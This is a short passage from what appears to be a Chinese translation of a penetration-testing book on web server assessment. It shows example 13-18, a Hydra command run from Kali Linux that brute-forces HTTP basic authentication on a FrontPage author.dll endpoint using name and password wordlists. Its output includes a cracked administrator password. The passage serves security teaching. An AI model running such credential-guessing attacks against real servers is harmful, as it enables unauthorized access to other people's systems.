
Web
服务器评估
|
417
实例
13-18
描述了在
Kali Linux
操作系统中,使用该
URL
、
namelist.txt
和
burnett_top_500.txt
目录运行
Hydra
破解数字证书的过程。
实例 13-18:强力破解 author.dll 的基本授权
root@kali:~#
hydra -L namelist.txt -P burnett_top_500.txt www.example.org \http-
head /_vti_bin/_vti_aut/author.dll
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only.
Hydra (http://www.thc.org) starting at 2014-07-04 18:15:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-head on port 80
[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h
[80][www] host: 192.168.0.15 login: administrator password: cricket
研究支持的
HTTP